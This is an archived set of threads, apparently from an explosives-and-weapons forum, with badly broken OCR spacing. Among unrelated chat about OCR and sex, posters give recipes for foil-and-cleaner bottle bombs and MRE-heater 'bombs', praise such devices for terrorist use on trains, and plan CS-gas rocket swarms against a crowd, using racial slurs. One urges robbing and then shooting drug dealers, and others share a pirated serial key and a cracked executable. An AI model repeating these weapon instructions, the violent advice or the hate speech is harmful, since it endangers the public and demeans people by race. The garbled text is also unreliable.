Think about selling the liquid noble gases if you start doing a lot of this, since they are very expensive, and even just LN enriched with others will probably be worth money.
Won't make you back the electric costs, mind.
nbk2000 July 20th, 2006, 05:06 AM

There's no need for distillation for enrichment. The other gases boil off before oxygen does, leaving it behind.
And, yes, you'll need to recirculate the air that you're trying to cool, otherwise you'll never get it cold enough to condense.
UTFSE (Google) for more details.

Boiling off the LN seems a bit wasteful, though, and the fraction of air that liquifies which is LN is likely to be more than the 73% in air, as it goes liquid at a higher
temperature, so you would need some exotic thermometer that can cope with the difference between LOX and LN temperatures, to get a 10% or so yeild.
Forgot to mention the obvious, LOX sets things burning really easily. Which is probably the goal, but take care anyway.

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > Idiots and AP
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texaspete July 22nd, 2006, 04:18 PM

http://www.bloghouston.net/item /3746
http://news.galvestondailynews.com/story.lasso?ewcd=bce8594c1855f8a8
Sad, but thats what happens when you m a k e h u g e a m o u n t s o f A P .
nbk2000 July 23rd, 20 06, 05:3 4 AM

Detonated when "R emoving (the AP) from a container..."
Let m e guess...metal can with screw to p lid? :D
fiknet July 23rd, 20 06, 05:4 3 AM

Gee it's always the ol' peroxides and n ever nitric esters wonder why...:rolleyes:
Anyway I thought that article gave out too much inform a t i o n a b o u t T A T P b e c a u s e n e x t t h i n g y o u k n o w k i d s a r e i n t r i g u e d a b o u t

this powerful and easy explosive and google it to find simple instructions then bang! You have yourself a "m ajor issue" and
you need ATF clearan ce to buy Acetone or Peroxide.
nbk2000 July 23rd, 20 06, 10:5 7 AM

W hat I like is how each report always says "There's no evidence of terrorist plotting...yet...", suggesting that ANYONE making
such com pounds is plotting evil with it. Oh, and how it's "the explosive of choice of suicide bom bers". :rolleyes:
Jacks Complete July 23rd, 20 06, 02:0 6 PM

Don't worry a bout the lack of a terrorist plot - they will keep look ing!

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > Som ething new to me..
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naturallite7 July 24th, 20 06, 04:0 0 PM

Hello. I am a fairly new mem ber. So far I have enjoyed reading lots of neat stuff. I did a search for this,but I didn't come back
with anything. Here's my story. I have to attend a "safety class" once a month wh ere I work. We have som e p a r a m edics to
c o m e i n a n d t e a c h t h e c l a s s e s , o n o c a s s i o n s . T h e l a s t c l a s s h a d a p a r a m edic that we see ofton. He told us a story about his
nephew showing him a h o m e m a d e b o mb. The 13-14 year old took a water bottle ( regular 10- 12 oz) put som e a l u m inum foil
inside (how much he didn't say), added some bath room cleaner called "the works". Threw the bottle out in the yard, and
b o o m ! It im p r e s s e d h i m . I was just wondering, is there inform ation about this here? I hate to go a n d q u i z t h e p a r a m edic and
throw up red flags at work about my intrest in this hom e m ade water bottle. Thanks in advance.

This is a very kewl "bom b" - it's just a simple reaction b etween the alum inium foil and the strongly alkali bleach cleaner (m ost
likely) or strongly acidic cleaner (less likely).
All that happens is that it reacts and form s a gas, probably chlorine, which increases the internal pressure until the bottle
ruptures. Bang.
I f y o u h a v e a l o o k a r o u n d t h e site, you will find far better.
bipolar July 24th, 20 06, 05:4 6 PM

I think this is the old kewl "Hydrogen Bomb". Hydrochloric Acid(from Draino) diluted with water with pieces of alum inium foil
generates hydrogen gas and explodes the bottle.
You can also do this to fill a baloon with hydrogen.
knowledgehungry July 24th, 20 06, 06:2 4 PM

I have actually recently been thinking of such devices, while they are extraordinarily crude they are potentially useful to a
terrorist or other such p e r s o n u p t o n o g o o d .
The advantages:
a) C h e a p a n d u n t r a c e a b l e , a n y o n e a n d e v e r y o n e c a n m ake one, even those who have zero knowledge of chemistry, physics,
internet.
b) Easily hidden in plain sight, a bottle of soda left on a train will draw no attentio n to itself.
c) Very nasty side effects apart from the explosion, use excess Hydrochloric and you have m a n y p e o p l e b l i n d e d , a n d s u f f e r i n g
from the effects of inhaling it.
Disa d v a n t a g e s :
a) Limited ability to time device.
b) O n site preparation required.
c) Explosive dam age will be almost non-existent in relation to size of device.
d) R o g u e S c i e n c e m e m bers will call you k3wl.
T h e m o s t p r o m ising use for such a device is for crowd dispersion. A couple of these going off in a crowd of hippies burning
flags will send them off pretty quickly, even without using HC l.
Ekilo July 24th, 20 06, 08:2 6 PM

This is sort o f the same idea as what is known in the military as the "MRE Bomb" There are three ways, that I know of, to ha ve
a little fun with your buddies.
Method 1.
-Soda bottle, 20oz
-MRE heater
-Water
All you have to do is cut open an MRE heater and add the contents into the container. Mix in a little water a nd close the cap.
Throw the "bom b" into your buddies fighting hole.
Method 2.
-Same item s as above but add a couple of the little bottles of Tabasco sauce
B e f o r e m i x i n g m a k e s u r e y o u p u n c h a s m a l l h o l e i n t h e bottle cap. Add less water and then add the Tabasco sauce to the m ix.
C l o s e c a p a n d throw the "Bom b". W h a t t h i s m a k e s i s a g a s ( p e p p e r ) g r e n a d e .
Method 3.
- S a m e a s a b ove but substitute urine for water.
W hat you end up with is a very foul sm elling "weapon". If you have ever urinated into a fire then you alm ost know the smell.
Add Tabasco sauce to the mix and you get the picture.
For all of these it takes a little experim entation to find the perfe ct ratio of ingredients.
Bert July 25th, 20 06, 01:2 1 AM

naturallite7-
do a search on "MacGyver bombs".
Knowledgehungry-
Do hippies gather in crowds and burn flags? Seen a lot of hippies, don't recall ever seeing a crowd of 'em all doing that. They
u s u s a l y s e e m t o b e p l a y i n g f r i s b e e , d o i n g h u l a h o o p s , o r d a n c i n g badly to jam bands, stu ff like that.
M a y b e t h e y g e t m ore feisty and pyro up if they're deprived of their wacky tabacky and birkenstocks?
BTW , As far as I can recall:
Hypochlorite (com et, bleach, pool chlorinator, e tc.) + acid or base (Amm onia, toilet bowl cleaner, drain opener, lye, etc.)=
Chlorine released
Alum inum foil + acid or base = Hydrog e n r e l e a s e d
I spent m any happy hours in junior high school heating large jugs of Alum inum foil shreds, washing soda a nd water, filling
larger and larger balloons with Hydrogen... Deliberately bursting the reaction vessel with gas pressure never occured to m e, it
w a s W A Y l o u d e r a n d m ore fun to attach a black cat firecracker with a long piece of visco on it to them . Yes, we pre filled them
partialy with air, later we graduated to O xygen. Wonder how I lived to grow older som e t i m e s .

The Explosives and Weapons Forum > Knowledge and Information > The Water Cooler > Book OCR issues
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pdv37 July 25th, 2006, 06:26 PM

Greetings. I've been experimenting with OCR of some of the books that have been posted on the this forum, and ran into some issues.
Firstly, most books were scanned 2 pages at a time, so is there any easy way to divide them into separate pages using some type of software? If not, is there anyway to do it
manually? (only thing I can think of is taking screenshots of pdf files[or converting pdf to images], dividing the picture in 2 with graphic editing program, and then OCRing them
separately).
Then, there's issue with OCRing graphics on the page. While Abbyy is ok for OCRing drawings, it doesn't do an extremely good job with photographs, I would guess that is due
to the compression abbyy uses. So if anybody knows how to preserve original quality of images during an OCR procedure please let me know.
Abbyy also doesn't recognize text that is sideways (ex. at 90 degrees)... or am I just missing some type of option or feature that is used to do just that?
While I still can insert side text and photographs manually into pdf document, I have no idea on what would be the best way to separate pages.
If anyone has any advice or experience with OCRing, it would be appreciated. Im ready to spend time to convert some of the books from this forum and share them too.

Well its always good to have a copy of Adobe Acrobat Pro. I don't think this forum allows such information, so I will let you find it on your own.
Adobe's OCR is reasonably good in the aspect of recognising blocks of text and columbs. It also has features like export all the images, or add / delete pages.
I bet you could get it done with some of the batch features of Adobe Photoshop. I personaly have not done the exact task, but it shouldn't be too bad.
Ok, here is how.
First go to the history window and click the second tab, actions.
Click the "Create New Action" button. Then click on the record button and record the actions you want.
Go to File --> Automate --> Batch...
From there you can select the script you made and run it. I tried once and it did not work, but I am fairly sure it could be gotton working without a lot of work.
Sparky July 26th, 2006, 06:56 PM

I have had reasonably good success writing macros with "autohotkey" http://www.autohotkey.com/. Writing macros in this way is extremely flexible although it did take a
while to learn. It essentially provides the ability to do "batch" everything in any program as long as the task is repetitive enough and you have enough programming inguenity.

The most convenient way to split book scans with two pages would be to use Adobe Photoshop CS2. Here are the detailed steps I use when splitting pages with Photoshop.
1. Make two folders containing COPIES of the original files. Name these folders right side pages and left side pages respectively. Do not edit your originals! One mistake and
everything is lost with your originals. The purpose for naming your folders as right side and left side should be obvious: you are cropping away unwanted portions of the page
of either the left or right pages.
2. Open only 1 image from the right hand pages folder, the first one is fine. Using the cropping tool, select the area of the page you want to crop. Since we are using a page
from the right hand pages folder, we want to keep the right half of the page. Highlight the area of the right side you want to KEEP. Leave a little extra for margins, as this
will be important in later steps. Hit enter to crop the page.
3. If the page is cropped how you like it, click the image tab at the very top and select image size from the drop down list. Click it. You will now see the horizontal and
vertical dimensions of your page. Write these down.
4. UNDO the cropping you just did (edit --> undo or ctrl+z) to get the original back. Click the marquee tool which is the default selection that looks like a dotted square. In
the tool options bar near the top of the screen there is a drop down box named Style and it will be set to normal by default. Change this to fixed size. Enter the width
and height dimensions you wrote down from step 3. You did write those down right?
5. On one of the panels that get in your way on the right side of photoshop, and I assume you are using the default view by the way, one of them will have two tabs named
history and actions. Click the actions tab. At the bottom of that panel are a few symbols that look like VCR recorder symbols, stop, record, play, a folder, a bit of curled
paper, and a trash can. Click on the symbol that looks like curled paper, that is the create new action button. A box will pop up asking you to name your new action. You can
name it something appropriate like cropper or just leave it be. Click the record button to begin recording our actions.
6. You are now recording every step you make. The first step of our action is to click anywhere on our opened image. The marquee tool should still be selected, and it should
be set up for a fixed width and height. It does not matter where you click on the image at this point, so do not worry if the marquee you placed is not over the area you want.
7. Using the arrow keys on your keyboard, nudge the selected area into the position you want. This will create a new action move selection but it will not show up yet. At the
top click the edit button and choose crop from the drop down list. You will not now have two actions added, move selection and crop. Your image should now appear as
you want it, cropped properly.
8. Click file and select save from the drop down list. A box will pop up asking you for quality parameters. I suggest the highest for now, or level 10 anyway. Click the OK
button to save the file. This step is now saved in your action. Close the image by clicking on the X. This step will be added to your action as well.
9. Click the stop button on the actions palate to stop recording steps.
10. Click file, hold your mouse over automate from the drop down list, and click batch from the box that expands.
11. The box that pops up is the batch processing mode. This will allow you to perform the same steps you just recorded over an infinite number of image files. In a 1000 page
book such a feature is a very handy time saver. The drop list named Action should already have your newly created action listed. If it does not, click the arrow next to the
box and select the action you recorded from the list. In the section below there is a drop list box named source, which should be set to folder. Below that is a button named
Choose. Click that button and select the folder you named right side pages, or whichever folder you got your page from.
12. Here is a sticky point for me learned the hard way. I have made mistakes in the past screwing up original scans irreparably, so I am very paranoid about editing any image
I have not backed up and duplicated into other folders. I will always create a new folder with copies of every step of editing I do rather than overwrite files I have, even if
those files are copies. In the drop down list named Destination you may either leave it at none to overwrite the files you will be editing, or you may select folder to create
a destination for all of your edited files. I always choose the latter and make a subfolder in the original directory named something like edit 1 or cropped. If you choose
folder click the button Choose to establish your files destination.
13. Make sure you click the check box named Override Action Save As Commands. We already set up a save and close step in our macro. If you do not check this box,
every single image will have the save box pop up, and you will have to manually click it each time. This is a waste of time and defeats the purpose of doing this automatically.
When you click the box a pop up will ask if you are sure you know what you are doing. Just click OK to get rid of that.
14. Finally, click the OK button in the upper right corner of the window to start your batch process on its way of systematically applying your crop commands to every page of
your book.
NOTICE: This is the general process by which you can crop every page in your book. There are a few caveats I have discovered along the way when doing this. First and
foremost you must understand that what is cropped properly on page 1 may differ from what would be proper on page 100, which may in turn may be different for page 200.
Why is this? Twists and turns of a page always make some sort of misalignment. This is why I recommended leaving a good bit of extra margin in step 2. This is exactly why I
never overwrite any images. If you just mis-cropped 900 of your 1000 pages, you are screwed unless you have the originals.
If the pages that you are cropping are very different from one another I recommend using a different approach to step 11. Instead of using the default folder for your source
files, select Open Files instead. You will first have to open all of the pages you want to crop before doing this.
Trial and error is you friend here. You may find pages 1-32, 33-97, 98-414, and 415-1000 all require different cropping. More often than not the size of the cropped area
remains the same, it is just that the marquee needs to be moved. If page 33 differs from the rest, open that image file, select the step in you action named move selection
and click the record button to add an additional step. Using your arrow keys move the marquee to the new position you want it. Click the stop button, and a new move
selection step will be added. Make sure the new step was not added at the bottom as your last step, because you dont want to crop, save, and close the image before the
new move step takes place! You can drag the steps into position as needed.
If, for example, pages 33-97 are to receive this modified cropping, open all pages from 33 to 97 at once. I would recommend only opening 25-50 images at a time to avoid
stressing our your computer with so many images open at once. Once you start the batch process, only the opened images will be edited.
I hope I have explained this as best I can. I do this a lot, so I know exactly what I am doing, and I may have glossed over something you may not know. It would probably be
easier to show with video screen captures how I do this.
If you are getting your images from a PDF document, you may want to use a PDFtoJPG type of program, or anything that converts PDF pages into image files. Please be
aware that doing such a thing degrades your images, and they may not OCR with any degree of accuracy. It is always a good idea to compress the original scans when making
a PDF to save space, but in your case you dont have the originals.
Abbyy Finereader does have the ability to detect two page documents and OCR them separately. Considering at least one of the pages will typically have some sort of skew,
the skewed page will have more errors. This is why it is best to always use one book page per PDF page when OCRing.
You will have to rotate all pages as straight as possible (rotated as you would read a page) to do OCR. Abbyy may apply some deskewing correction, but only for a few
degrees before it cant read anything.
Considering there is a high probability your pdf-to-jpg-back-to-pdf books will have many OCR errors, and since you indicated you want to take the time to do it right, then
manually correcting the OCR errors using the trainer in Abbyy would give the best results.
nbk2000 July 27th, 2006, 07:59 AM

Anira:
If you've got links to good (and relevant) high-end warez, feel free to post them, as we always need tools. :)
Abbey has a Rotate Page function. You may have to edit your toolbar options to show it, though.
As long as you've scanned the text in so that it's an exact (or nearly so) increment of 90°, Abbey will be able to rotate it quite cleanly. Otherwise, open the file in
photoshop and use the measure tool to draw a line exactly parallel to the bottom edge of a line of text in the page scan, select Image/Rotate/Arbitrary, and adjust
appropriately.
Scanning in lossless uncompressed TIFF is really the only good way of scanning. JPG and GIF create artifacts that are not good for OCR'ing.
Abbey can split two page documents automatically, but it's bad at doing it. Better to manually adjust the split line to get it right. You can do it in PS too, but it's more hassle
than doing it in the OCR proggy.
Graphics are handled by setting the image save setting to the highest DPI and resolution needed for clarity.
I've found that in most cases of my scanning, that a 600DPI scan lets me save a picture at 150DPI/20% .JPG with no more artifacting than 300DPI scan saving at 150DPI/80%
.JPG does, only at 1/5th or less of the file size of the higher-res image. :D Using a higher-resolution scan to start with lets you use a much more compressed image with less
artifacting than a lower-resolution scan with less image compression.
Really, most of the hassles in OCR stem from bad scanning technique more than anything else. If you spend the time to do a clean page scan (even if it takes several tries),
the need for cleanup is almost non-existant and OCR is practically perfect. :)
Best to remove the pages from the book if you can, so the pages lay perfectly flat and square on the scanner. Obviously you can't do this with borrowed books.

The Explosives and Weapons Forum > Knowledge and Information > The Water Cooler > Looking for find and copy software.
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View Full Version : Looking for find and copy software.

There are plenty of find and replace applications out there, I have a few myself. I want a program that does something similar, but instead of REPLACING and search string, I
want it to COPY that search string and preferably load said string into a list.
I have found only one program that does exactly what I want, give it a search term, and it copies the ENTIRE LINE of text from that document. Since I know what my search
string starts with, but not necessarily what it ends with, I want the entire line.
The name of that program is Extract Data & Text in Multiple Files. Unfortunately, this program is only a crippled demo. It can extract the lines I need, but it will not export the
results as a list unless it is registered. I have not found a crack or serial for this app. It just came out on June 6, 2006, so it may be a bit new yet.
To explain what I am doing, I have approximately 10,000 archived html documents. Almost all of them contain a rapidshare link. I want that rapidshare link. Obviously I want
to search for rapidshare.de as my term, but I do not know what the rest of the string will be, so I want to copy the entire line. Every mention of rapidshare.de is on one line
in these documents.
I have tried several data mining and extraction apps, but none do it as simply or as effectively as Extract Data & Text in Multiple Files. They either dont do multiple documents
in batch, or they dont extract a line, or they dont export a list of what I want to extract.
I would think this would be a simple app to have, but I cannot find anything that can do this. Please, if anyone can help me by suggesting a working app, or if anyone has a
fix for Extract Data & Text in Multiple Files, I would greatly appreciate it.
furdog July 26th, 2006, 09:23 PM

I just asked a freind who works on main frame software to look for a program, he thinks he understands what your doing is like a data miner program .I hope what your
looking for is a way to download data files in a list to extract them am I correct?

Yes, what I am doing is data mining. I am looking for a particular line of text from thousands of documents that I then want copied into a single document.
furdog July 26th, 2006, 10:52 PM

But do you wish to also export them? I assume your wanting to file share themor copy ect..... hes looking into it on there system for a program they may have let ya no!
Anira July 26th, 2006, 10:58 PM

Use this serial: 11089567

To explain what I am doing, I have approximately 10,000 archived html documents. Almost all of them contain a rapidshare link. I want that rapidshare link. Obviously
I want to search for rapidshare.de as my term, but I do not know what the rest of the string will be, so I want to copy the entire line. Every mention of rapidshare.de is
on one line in these documents.
Sir,
If you are trying to extract rapidshare links, rapidget application that rapidshare provides does that. When you open the application, you should click add files, in the dialog box
shown, you should click "text" button at the top right. Now open the HTML file and show its source and select and copy block by block the source code and paste into the box
entitled enter text / html source.
After that click grab links, and application extracts the links. I know, it's quite crude but useful for getting links. I'm using this method since I hate rightclicking and click on copy
shortcut and most importantly the links shorthened in the browser. Instead I open the source and have rapidget to grab the links.
HTH.

Mega did you consider using Copernic desktop search engine for the task you mentioned? It will find requested string wherever it is on your computer...or in the folders you
said him to look upon. Extraction and manipulation must be manuall AFAIK, but I guess it can't be to hard to write some kind of a script that will do the manuall job...

Hmm, I have Copernic desktop search, and I did not know it could do that. Thanks to the key provided by Anira, I was able to get the Extract Data & Text in Multiple Files
program to work properly.
Now in a few WEEKS I may be able to download the nearly 100GB worth of books I have rapidshare links for :(
Third_Rail July 31st, 2006, 01:33 AM

Slighty OT, but how the heck do you find rapidshare links? I know there's no way from that main site to search the database. I wonder if the computer programs that I'm
looking for (not available through torrents) would be somewhere in there.
nbk2000 July 31st, 2006, 07:52 PM

Google is your friend. :)
It pisses me off too that Rapidshare doesn't have a search function, but what can you do?
At least megaupload offers searching for their premium members.

You can try the site http://www.rapidshared.org , which lists rapidshare uploads available to the public. Their database of links can be searched by subject. I think that they
find them by periodically searching for the word "rapidshare.de" (in quotation marks) on Google, This brings up results for rapidshare.de links published on various forum
websites, Yahoo groups, etc., although not links which have been shared only privately. In the search string on Google, one can add subject-related words and terms like
chemistry, physics, Windows, Unix, organic, azide, nitrate, SMG, explosive, drug, etc..
To Megalomania: How about posting your 10,000 rapidshare.de links here, or at least those not so far published? They could be all collected in a TXT file, and this put into a ZIP
archive and posted as an attachment.
nbk2000 July 31st, 2006, 10:42 PM

First he'll download them, before sharing them publicly, as it seems there are untermensch in this world that'll download a file, then rat it out to Rapishare, to keep others from
benefiting from it. :mad:
No need to help them out by giving them a huge list that they can simply e-mail out, eh? ;)
Bugger August 1st, 2006, 02:59 AM

In that case, Megalomania could send the list by email or PM privately to all roguesci.org members, or at least those who have made posts, please.
FUTI August 1st, 2006, 07:35 AM

Mega I tested will Copernic desktop search engine find files containing specific string and if you make search for html documents containing "www.r as search string for
example it works. I will try to do the other part of task you look for in a couple days (if temperature here drops to the limit my internal CPU doesn't freeze-out refusing the
task). I will try to test offline browser in a totaly unrelated experiment, so I hope that this experiment doesn't come little late.
midtown August 1st, 2006, 03:24 PM

Another idea, if that doesn't work, is to use the command:
cat [filenames] | grep [search word] > [output file]
If all the files are in the same directory, then you can just use an asterisk to search all of them.
Pb1 August 6th, 2006, 12:30 AM

This would be a pain in the ass for large, multidirectory html archives. You can pass all the files in a folder with a single * on the command line, but if you have
thousands of folders with one web page each, you arent gonnna get very far with this. This would only work if all the html files were in a small number of folders.
This is assuming, of course, that you can run linux in the first place.
In my opinion, the best way to do this is to learn perl (OReilley s ebook on this is superb and on several FTPs) and write a script to go through your f iles and extract the
necessary information. The advantage of this is that you have total control of what the script does (what kinds of expressions it extracts, etc.) The disadvantage is that you
have to learn perl. An easy language, but not for those who have no programming experience.

Oh gods! It has been nearly 3 weeks and I have 50GB of science related books. I still have thousands more to go :( I'll release the big list all right, as soon as I am done with
my bookz orgy.
ravn November 5th, 2006, 04:28 PM

This is a little late but possibly useful for others attempting to do the same thing.
The base install of cygwin (available at www.cygwin.com) is your best friend in this case. Once you have this installed, run a Cygwin bash shell, and cd to the top level
directory where all your files are. For example:
cd /cygdrive/c/rapidfiles
This assumes you have created a directory on your c: drive called rapidfiles, and placed your 10000 files there. (sub-directories are fine)
From this directory enter the following command:
grep -R -h rapidshare\.de * > links.txt
This will Recurse all subdirectories, suppress file names, and find the string rapidshare.de spitting out all lines with that string in them to a file in the current directory called
links.txt.
Nihilist November 8th, 2006, 02:57 AM

http://download.yousendit.com/CC618A10556C20A2
Enjoy :). Just replace your .exe with that one. No worries about virii and the like - cracked it myself.
electricdetonator November 26th, 2006, 10:28 AM

Why not simply using a XML parser with appropiate rules ?
You're looking for HTML Tags like:
<a href="http://www.rapidshare....>Sometext</a>
Just take any free XML parser and extend the rule for finding the href into finding href="http://www.rapidshare* and you'll get all HTML tags containing the full links ;)
Just google for XML freeware parser and you'll find a bunch of it ;)
BTW it's much more flexible then any other search engine, cause you can make special rules for it.
Hope could help.

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > I never claim e d t o b e a
rightous addict...
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lowjack July 28th, 20 06, 04:1 7 PM

this is for legal means a fictional writing. Although the p oster m a y s e e m to intend on brea king a law or two. This is only bein g
posted for any/all discussion it may proliferate.
M a n y a v e r a g e a m ericans tend to look at the enorm ously growing group of drug addicts as a sort of blight o n working class
a m ericans society.. And at one time I too m yself thought anyone who could find themselves addicted to an y of these synthetic
m an-m a d e d r u g s e s p e c i a l l y s m oking black tar heroin was either a weak fuck, or someone who's life didnt mean all too much
to the poor idiots. W ell with th at said, I've recently befriended a couple o f mexica n tar heroin sm okers. Firstly because they
were introduced over a sweet deal invo lving several hard to com e-by arm s. California residents should feel me on that shit.
Anyways, After driving around for a few weeks to assist in acquiring their dem onfe ed I noticed that not only are all these illegal
m exican nationals de livering solo, but tend to be rather careless about e xposing their billfold consisting of several hundred if
not thousand dollars. Now I've seen nothing bu t young white middle-class kids getting into the smackm ans car and I have to
s a y i t p i s s e s m e o f f . W hats even funnier is that these sam e d e a t h p e d d l e r s a c t e d s p o o k e d a n d w a n t e d n o t h i n g t o d o w i t h m y
junk ie friends guns.
W ho the fuck passes up on an HK94 for $250.00 ???
Only an idiot or som eone who cant rea d t h e b l u e b o o k v a l u e o f $ 4 , 9 9 9 . 0 0 w o u l d e v e n h e s i t a t e .
Long story short, would it not be patrio tic to put these scum b a g s o u t o f b usiness by taking their daily earnings? Violence
wouldnt be necessary as the mule delivering isnt prone to doing anything other than driving around from spot to spot raking in
m oney.
W ho would just allow this shit to happen on/in/or near their stom p i n g g r o u n d s ?
knowledgehungry July 29th, 20 06, 08:5 3 AM

A while back there was a group/gang that went around their neig h b o r h o o d i n P h i l a d e l p h i a t h a t k n o c k e d o v e r the low life dealers
i n t h e n e i g h b o r h o o d , a n d I I R C g a v e t h e m oney to charity.
I don't think you would have to m uch trouble knocking over a mule or two, but I would m ake sure I was doing it well out of my
turf, unless I was prepared for a war. After you do it more than once people will start to look for you, and find you. If you really
wanted to be patriotic you would rob th e m , t h e n s h o o t t h e m . Killing them will allow you to rem a i n a n o n y m o u s l o n g e r . ( J u s t
because the cops may not be able to find you, it doesn't mean dealers won't be able to.)

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > Torritos!!!
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This is what it's like in a culture where being bu rned at the fireworks is a badge of honor, not an excuse to call a lawyer.
http://revver.com/video/40862/19518/?__session_just_started__=1
Not that I'd like to be burned, of course. I have to think a LOT of cerveza and tequilla go into this celebration.
nbk2000 July 31st, 2006, 10:32 PM

W hat kind of firework is the one flying like little random rockets around spraying out the sparks?

I think they're "serpents"- Sm all rocket engines without any stabilization. It looks like they added Titanium to the fuel, those
guys dancing in the streets had som e nice burns-
nbk2000 August 2nd, 2006, 05:09 AM

I ' v e s e e n t h i s b e f o r e a n d r e m e m bered it when I saw that video.
http://www.skylighter.com /mall/ignition.asp
The 'flying fish' fuse...wouldn't that be able to have the same effect, if only on a sm aller scale?
I'm t h i n k i n g o f n u m e r o u s v i d e o s I ' v e s e e n o f a m ob surrounding a car and attacking the occupant, and the m exican festival
where there's a shitload of flying rocke ts making everyone cover their heads....hmm m. :)
Take a 2" length of flying fish fuse, dust it with CS, wrap it in a 3" length of kraft paper, and prime . R e p e a t a h u n d r e d t i m e s
a n d m a k e a m a g a z i n e for 'em to fire from .
Does that sound feasible, Bert?
N o w , i f y o u s h o u l d h a p p e n t o b e s u r r o u n d e d b y a m u d m o b i n C o m pton, you hit the fire button and watch the nigge rs dance as
a hundred buzzing rockets surround th em in a cloud of bright sp a r k s a n d t e a r g a s . : p
This outta give you enough tim e to either hit the gas or break out the guns.
Bert August 3rd, 2006, 10:34 AM

Flying gish fuse isn't very impressive in daytim e. I'm not sure how much of a CS load you could im pregnate it with- Also you
m i g h t n e e d s o m e t h i n g with a bit m ore duration .
Quick question: who would go to jail first if Com pton's finest saw such an event? The car o wner or the m o b ?
An acquainta nce who did security work in South Aftica told m e that people there rig propane flam e throwers shooting out from
under there cars on a ll sides. W h e n a m ob of carjackers or whoe ver surrounds your car, you push the button and they have to
m ove back far enough to give you room to accelerate- This is considered normal there. That's one of the reasons h e left.
nbk2000 August 4th, 2006, 06:54 AM

Obviously the car owner, because:
A ) T h e m ob will be co m p o s e d o f a g a n g of m uds in their own 'hood, and no cop is going to try arresting a mob of m u d s o n h i s
own.
B) The owner of the car will be a white guy, m eaning no Al Sharp ton or Jesse Jack son to raise a stink, thus 'safe' to arrest.
but I prefer:
C) T o be judged by 12 than carried by 6. ;)
CS has an intolerable concentration of 10 m g/m3. If each fish rocket has 100m g of CS du sted on it (1/5th of an aspirin
tablet), and 80% of that is dispersed, that's 8 cubic meter per fish that'll be gassed with C S. Multiply by 100x fish. :)
And nothing is to prevent you from m aking the casings from niter-impregnated paper, with CS/CN/or DM dusted on the paper
prior to rolling. After firing, the cases a re scatte red about by the rocket-like effect of the buring fish fuse, with the sm ouldering
cases scattered all around the vehicle, releasing their irritating sm o k e . : )
True, during the day the spark effect will be m inimal, but there's also the shock effect of being in the m iddle of a swarm of
rocketss, hitting you and screeching in your ear.
It's not the kind of th i n g t h a t t h e p o r c h - m o n k e y s a r e e x p o s e d t o e v e r y d a y .
c.Tech August 5th, 2006, 07:09 AM

T h a t l o o k s l i k e t h e f u n e s t t h i n g a n y b o d y c o u l d d o , I m definitely going to go to that festival within t h e next 7 yea rs. :D
As NBK said in the 'lucid dreaming' thread that m y state ment had Darwin Award candidate written all over it, and his probably
right in a way.
But if we can t let ourselves go wild once in a while how would we enjoy life, there would be no thrills. W h a t s t h e p o i n t o f living
if yo u d o n t enjoy life?
M o s t o f t h e s t u f f I d o i s n t a s d a n g e r o u s a s m a n y m a k e i t w o u l d o u t t o b e , b e c a u s e I t a k e t h e n e c e s s a r y precautions I av oid
d e a t h a n d g r e a t l y r e d u c e t h a t c h a n c e t o n e a r n o n e . I t s m ostly the stupid k 3wLs who get them s e l v e s killed eg. Jum ping into
one of those bulls giving the festival a bad name.
T h e s a m e g o e s f o r d r u g s , s o m e p e o p l e o v e r d o se, die, get addicted except if they are used in m oderation and a safe way
they can be near harm less.
W ho else, apart from m e would be willing to da nce in th is festival?

W hat are you doing in com pton without your guns already locked and loaded? You might as well lo ad those rockets with white P
(White Power! err phosphorus :) ) to really cause a comm otion.

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > ALPS Holo Problem
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monkeyman July 31st, 2006, 08:57 PM

Hi there,
I've read some stuff elsewhere on here regarding the Alps holo m e t h o d . I ' m h a v i n g s o m e p r o b s a t t h e m o m e n t e x p e r i m enting
with this. Using 7mil butterfly pouch and dusting the inside with pearlex interference gold. Then printing m y c h o s e n i m a g e o n t o
this (the inside of the pouch) with the finish ribbon on the Alps MD1000. Now, once I take this off and clean it up it looks pretty
good. But then I go to lam the thing over a contrasting background and the pearlex m arks seem to disapp ear ? Can anyone
help with this please ? GREAT forum by the way.
t h a n k s i n a d v a n c e a n d hope u are all well

The Explosives and Weapons Forum > Know ledge and Information > The Water Cooler > How long have you gone w ithout sex?...hehe
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Red Beret August 2nd, 2006, 04:58 AM

Seriously, how long is the longest you've gone without? I'm about tw o months without now.....:(
Do any of you think it's possible to shag friends while staying just that, friends? I'm not so sure yet.
FU TI August 2nd, 2006, 07:28 AM

I hate you! Why do you bring up such issues...
It has been ages since...:(
Anyway, I would like that it can be possible to shag a friend and don't change anything since I have few good looking girls around, but sorry that just isn't possible.

Hmm I guess not...but I'll still do her anyw ay:p
We had a little conversation, I bought up the "casual shag". and she says, "Yeah, its good but someone ends up getting hurt". So I says "Do you have a boyfriend at the
moment?" The answer was no, and she w ent on to say how she "dosent mind" that sort of thing to "satisfy certain urges", then asks me to go to the movies w ith her. A little
persuasiveness goes a long w ay.:D
The Drought will soon be over!! hahaha
nbk2000 August 2nd, 2006, 09:21 AM

Almost a decade...but it wasn't by choice. :(

Holy Shit, are you serious? God damn...I can't imagine that.
Davo August 2nd, 2006, 01:46 PM

Sir I really hope the sex you're talking about w asn't in prison :eek:
On a more serious matter, I've alw ays wondered if a prolonged length of time w ithout sex or masturbation leads to vastly increased testosterone levels or enhanced "male"
brain function - superior mathematical and spacial awareness, increased endeavour for social dominance etc
IIRC Eastern martial arts teachings suggested sexual abstinence w ould increase performance, and athletes have often been told to avoid sex before a sporting event
A quick google reveals this: http://ww w.askmen.com/sports/fanatic/16_sports_fan.html
Ropik August 2nd, 2006, 01:54 PM

Some native american tribes were sexually abstaining before going to war, I imagine they w ere so majorly pissed off that they didn't feel anything...
festergrump August 2nd, 2006, 03:01 PM

I think he must mean it w asn't HER choice ten years ago. You like a fighter, eh, NBK? :)
It seems to me that as we get older certain things like sex become less and less important. I used to feel when a teenager that I needed it to go on living and w ould go to great
lengths to score some beave. A different gal each week wasn't uncommon for some of my latter teen and early twenties years.
Now that I'm mid thirties I just don't want to have to put up w ith all the bullshit that comes along with it, so I'm not out there looking around, anymore. Four years abstinate but
not really counting... Gotta first be happy and content being alone before you can begin to contemplate a relatonship (and let's face it... they ALL want more than to just get
humped every now and then).
I'm sure if some hottie came around and let on she w anted a little action I'd probably oblidge her, but after four years I might have to get a running start!:( Might be the best
